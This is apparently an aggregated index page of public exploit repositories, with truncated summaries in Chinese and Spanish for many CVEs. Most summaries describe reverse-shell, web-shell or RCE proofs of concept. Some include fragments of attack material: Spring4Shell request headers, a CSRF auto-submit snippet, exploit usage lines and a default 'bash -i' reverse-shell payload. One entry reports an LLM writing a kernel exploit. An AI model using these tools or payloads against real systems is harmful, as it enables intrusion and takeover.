cve-2023-6931-pipa

CVE-2023-6931 — Xiaomi Pad 6 pipa escalada de privilegios y desactivación de SELinux La versión final del exploit utilizada en el dispositivo, organizada por separado en este directorio. Objetivo Dispositivo Xiaomi Pad 6 / pipa / SM8250 Sistema HyperOS OS2.0.20.0.UMZCNXM Kernel...

Spring4Shell

Spring RCE CVE-2022-22965 漏洞环境 环境信息 springboot jdk11 tomcat9.0.30 payload 请求头配置 "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", 请求体数据...

metasploitable-pentest-report

Metasploitable 2 — 渗透测试报告 免责声明： 本次渗透测试仅在私有的、隔离的 VMware 实验室环境中进行，仅供教育目的。未访问任何真实系统。所有 IP 地址均已匿名化处理。 概述 字段| 详情 ---|--- 测试人员| Prafullya Shandilya 目标| Metasploitable 2（故意存在漏洞的虚拟机） 攻击机| Kali Linux 网络| 隔离的 VMware 仅主机模式实验室 日期| 2026年5月9日 工具| Nmap 7.95, Metasploit v6.4.94, Netcat 发现摘要 | 漏洞| 端口| CVE| 严重程度| ...

CVE-2026-26718

描述 摘要 xxl-job-admin Web 应用程序中存在跨站请求伪造（CSRF）漏洞，攻击者可利用该漏洞对 Glue IDE Shell 脚本进行未经授权的修改。受影响的端点缺少正确的 CSRF 令牌验证，并通过宽松的请求映射接受任意 HTTP 方法。 受影响产品 xxl-job history.pushState'', '', '/'; document.forms0.submit;...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift PoC de RCE con Reverse Shell Prueba de concepto de ejecución remota de código para CVE-2026-42945 , un desbordamiento de búfer en el heap del módulo ngxhttprewritemodule de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado ...

CVE-2024-14027_slop

CVE-2024-14027 - SlopSploit 这些漏洞已在 6.6.51 内核上，使用 Qemu 的 Debian 安装进行了测试。 exploit.c - 将泄露 shadow 文件。 exploitdc.c - 演示了双关闭方法以获取根 shell。 WRITEUP.md - LLM 生成的 writeup。 这是一个使用 LLM（Opus 4.6）利用一种独特内核漏洞的实验，该漏洞源于能够重新分配/使用已被释放的同类型对象，详情参见grsecurity 的文章。 结果令人惊讶，因为事实上这个 bug 无需 LLM 也相当容易利用。利用方法直接明了，几乎与 Mathias...

CVE-2022-24715

Icinga Web 2 - 认证远程代码执行 2.8.6, 2.9.6, 2.10 远程命令执行 反弹Shell 使用方法 usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U USER, --user USER Insert user -U user -P PASSWORD, --password...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script 一个简短而精炼的漏洞利用脚本，用于 /file/show.cgi/bin 端点中的 CVE-2012-2982 已认证远程代码执行 RCE 漏洞。 Webmin RCE 漏洞利用 — CVE-2012-2982 本仓库包含针对 Webmin 🧠 注意事项 载荷默认为 bash -i 反向 shell。 注入载荷末尾的 | 对成功执行至关重要。 已在 Webmin 1.580 上测试，很可能适用于更早版本。 🔒 免责声明 仅 供教育和授权测试使用。 未经授权使用此漏洞利用程序是非法且不道德的。对此我不承担任何责任。...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin 简介 CVE-2024-36401 批量探测和利用，支持自定义内存马注入 1. 可批量探测 2. 对 url 地址后端已进行过滤（只管丢 url 就行） 3. 可以自定义生成内存马进行注入（默认的内存马注入已添加注入器类名: java.lang.test 「目的是为了JDK11下的defineAnonymousClass绕过」） 安装 下载源码执行 mvn package 将 target 下的jar包放在 woodpecker-framework 下的 plugin 文件夹中 不想自己编译，可以直接在附件下载...

CVE-2023-4220

使用Web Shell对Chamilo LMS CVE-2023-4220进行远程代码执行 本项目自动利用Chamilo LMS中的远程代码执行漏洞（CVE-2023-4220）。通过Web Shell，该工具可自动化利用该漏洞，从而控制受影响的Chamilo LMS实例。 功能： 自动化利用CVE-2023-4220 Web Shell集成 演示漏洞的影响 用法/示例 ./exploit.py -t http://example.com 截图 免责声明： 此工具仅用于教育目的，并帮助安全专业人员理解和缓解漏洞。未经许可擅自用于系统是非法且不道德的。 🔗 链接...

CVE-2020-0910

CVE-2020-0910 工作利用PoC CVE-2020-0910 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2024-28397-RCE

Script RCE CVE-2024-28397 Payload de reverse shell por defecto y argumento de comando opcional permitido el exploit funciona para js2py = v0.74 Requisitos Python 3.x Biblioteca requests pip install requests Listener de Netcat para reverse shell Ejemplo de uso Reverse shell: python exploit.py...

CLSA-2026-1790673243 TuxCare security update for shell-quote (1 CVE)

TuxCare rebuilt shell-quote to address 1 CVE. Fixed in 1.10.0-tuxcare.1...

CVE-2025-39401

CVE-2025-39401 WordPress WPAMS Plugin El plugin WPAMS de WordPress CVE: CVE-2025-39401 Puntuación base: 10.0 CRÍTICO La vulnerabilidad de carga sin restricciones de archivos con tipo peligroso en mojoomla WPAMS permite a los atacantes subir una web shell al servidor, lo que conduce a un compromis...

zyxel-p870hn-hardware-hacking

从裸露 PCB 到 root：通过 UART 硬件破解 ZyXEL P-870HN 两张无标签路由器板的手机照片 → 串口控制台 → 认证绕过 → root shell —— 在我自己的硬件上复现这条真实存在、至今未修补的攻击链 CVE-2025-0890 （隐藏的 supervisor 账户）+ CVE-2024-40891 （CLI 命令注入）。 作者：damik0 · 2026-08-13 · 硬件破解实战记录 📷 PCB 照片 ─▶ 🔬 芯片侦察 ─▶ 🏷️ 型号识别 ─▶ 📍 找到 UART J2 └─▶ 🔌 串口控制台 ─▶ 🚪 隐藏账户 ─▶ ⛓️ 突破 CLI └─▶ 🐚...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ 简单用法 仅在安全且授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离实验室环境 授权的渗透测试环境 示例设置： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 反弹 Shell（支持 Python3） 依赖项 Impacket（Python3 版本） Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1. 执行漏洞利用需要凭据。尝试默认凭据...

CVE-2017-9544

CVE-2017-9544 Easy Chat Server 中基于 SEH 的缓冲区溢出漏洞利用（CVE-2017-9544） 基于： pwntools msfvenom / reversetcp 载荷 ropper x64dbg 存在漏洞的应用程序可从 https://www.exploit-db.com/exploits/42155 获取 设置 将受害者 IP 设置为 192.168.15.100 并启动 Easy Chat Server。 将攻击者 IP 设置为 192.168.15.101 并运行 python main.py 等待反弹 shell...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC PoC脚本名称： poc.py 这是一个针对CVE-2025-1302的概念验证漏洞利用脚本，该漏洞影响jsonpath-plus库中的RCE漏洞。当对存在漏洞的服务端点运行时，该脚本尝试通过JSONPath负载触发远程代码执行，并建立反向Shell连接到攻击者。 功能特性 灵活的HTTP方法 ：通过 --method 或 --no-fallback 标志支持 POST 、GET 或 AUTO （POST 并回退到 GET）。 自定义负载 ：从文件中加载一个或多个 JSONPath RCE 负载模板，支持 ip 和...

CVE-2026-15410

cve-id ⚡ 简单用法 仅在安全且授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate...